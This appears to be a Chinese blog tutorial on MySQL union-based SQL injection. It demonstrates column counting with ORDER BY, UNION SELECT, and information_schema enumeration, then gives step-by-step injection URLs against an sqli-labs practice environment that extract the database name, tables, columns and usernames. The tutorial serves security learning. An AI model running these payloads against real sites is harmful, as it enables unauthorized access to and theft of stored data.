得到一个像原来老师一样督促你、关心你的人很难 。。。
---- 网易云热评
一、常用命令及函数
1、order by排序,获取数据有几个字段,后面小于等于字段数,都会返回结果,大于字段数返回错误
select * from users order by 3;
文章插图
2、union select联合查询,后边必须跟一样的字段数
select * from users union select 1,2,5;
文章插图
【Mysql注入 -- 联合注入】
3、user()查看当前MySQL用户
4、version()查看mysql版本信息
5、database()查看当前数据库名
select * from users union select user(),version(),database();
文章插图
二、跨库查询
1、获取aiyou数据库中表
select * from users union select 1,2,table_name from information_schema.tables where table_schema="aiyou";
2、获取下一个表格select * from users union select 1,2,table_name from information_schema.tables where table_schema="aiyou" limit 0,1;select * from users union select 1,2,table_name from information_schema.tables where table_schema="aiyou" limit 1,1;select * from users union select 1,2,table_name from information_schema.tables where table_schema="aiyou" limit 2,1;
文章插图
3、获取字段名
select * from users union select 1,2,column_name from information_schema.columns where table_name="bucuo";
文章插图
4、获取字段内容
select * from users union select 1,2,username from users;
文章插图
三、实例演示(sqli环境)
1、判断表有多少字段,order by 3返回正常,所以有三个字段
http://192.168.139.129/sqli/Less-2/?id=1 order by 3
文章插图
2、联合查询可以显示的数列,让前面的select语句报错,才能执行后面的select语句
http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,3
文章插图
3、获取数据库名字和版本信息,因为1不能显示,所以将2和3替换为version(),database()
http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,version(),database()
文章插图
4、获取数据库security的表
http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,table_name from information_schema.tables where table_schema="security"
文章插图
获取第二个表、第三个表
http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,table_name from information_schema.tables where table_schema="security" limit 1,1 --
文章插图
5、获取表名为users的字段名
http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,column_name from information_schema.columns where table_name="users"http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,column_name from information_schema.columns where table_name="users" limit 1,1 --
文章插图
?6、获取字段内容
http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,username from usershttp://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,username from users limit 1,1 --
文章插图
禁止非法,后果自负
推荐阅读
- Explain关键字 什么是MySQL的执行计划?
- Mysql删除数据表的三种方式详解
- 看这篇就够了!MySQL 索引知识点超全总结
- 一次解决mysql锁表问题的经历
- CentOS 如何用rpm安装Mysql
- MySQL相关:索引数据模型推演及 B+Tree 的详细介绍
- 配置Mysql 的url参数
- mysql查询小总结
- 如何彻底搞懂Mysql事务原理
- MySQL高级进阶:关于InnoDB存储结构,一文深入分析讲解